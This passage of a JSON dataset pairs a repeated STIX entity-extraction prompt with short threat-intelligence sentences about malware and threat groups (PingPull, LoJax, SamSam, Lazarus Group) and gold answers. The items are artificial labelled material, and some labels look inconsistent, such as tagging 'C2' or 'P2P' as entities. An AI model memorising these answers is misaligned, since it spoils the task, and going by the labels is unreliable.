MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.\n",
    "output": "<entities>PingPull|Visual C++|GALLIUM|Afghanistan|Australia|Belgium|Cambodia|Malaysia|Philippines|Russia|Vietnam|Mozambique</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLoJax has modified the Registry key \u2018HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute\u2019 from \u2018autocheck autochk *\u2019 to \u2018autocheck autoche *\u2019.\n",
    "output": "<entities>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute|LoJax</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOopsIE uses HTTP for C2 communications.\n",
    "output": "<entities>C2|OopsIE</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDropBook is a Python-based backdoor compiled with PyInstaller.\n",
    "output": "<entities>DropBook|PyInstaller|Python</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nUnknown Logger is capable of recording keystrokes.\n",
    "output": "<entities>Unknown Logger</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nChChes collects the victim's %TEMP% directory path and version of Internet Explorer.\n",
    "output": "<entities>ChChes|Internet Explorer</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPowerDuke has a command to get the victim's domain and NetBIOS name.\n",
    "output": "<entities>PowerDuke</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOperation Dream Job was a cyber espionage operation likely conducted by Lazarus Group that targeted the defense, aerospace, government, and other sectors in the United States, Israel, Australia, Russia, and India. In at least one case, the cyber actors tried to monetize their network access to conduct a business email compromise (BEC) operation. In 2020, security researchers noted overlapping TTPs, to include fake job lures and code similarities, between Operation Dream Job, Operation North Star, and Operation Interception; by 2022 security researchers described Operation Dream Job as an umbrella term covering both Operation Interception and Operation North Star.\n",
    "output": "<entities>Operation Dream Job|Lazarus Group|Operation North Star|Operation Interception|United States|Israel|Australia|Russia|India</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWhatta TA: TA505 Ramps Up Activity, Delivers New FlawedGrace Variant October 19, 2021\n",
    "output": "<entities>TA505|Whatta TA|FlawedGrace</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nP2P ZeuS added junk data to outgoing UDP packets to peer implants.\n",
    "output": "<entities>P2P ZeuS|P2P</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSpicyOmelette has been executed through malicious links within spearphishing emails.\n",
    "output": "<entities>SpicyOmelette</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThe initial beacon packet for S-Type contains the operating system version and file system of the victim.\n",
    "output": "<entities>S-Type</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNet Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler. \n",
    "output": "<entities>Net Crawler|PsExec</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSamSam encrypts victim files using RSA-2048 encryption and demands a ransom be paid in Bitcoin to decrypt those files.\n",
    "output": "<entities>SamSam|Bitcoin</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBabyShark has executed the ipconfig /all command.\n",
    "output": "<entities>BabyShark</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBoomBox has used HTTP POST requests for C2.\n",
    "output": "<entities>C2|BoomBox</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\n4H RAT has the capability to obtain a listing of running processes (including loaded modules).\n",
    "output": "<entities>4H RAT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNETWIRE can copy itself to and launch itself from hidden folders.\n",
    "output": "<entities>NETWIRE</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- 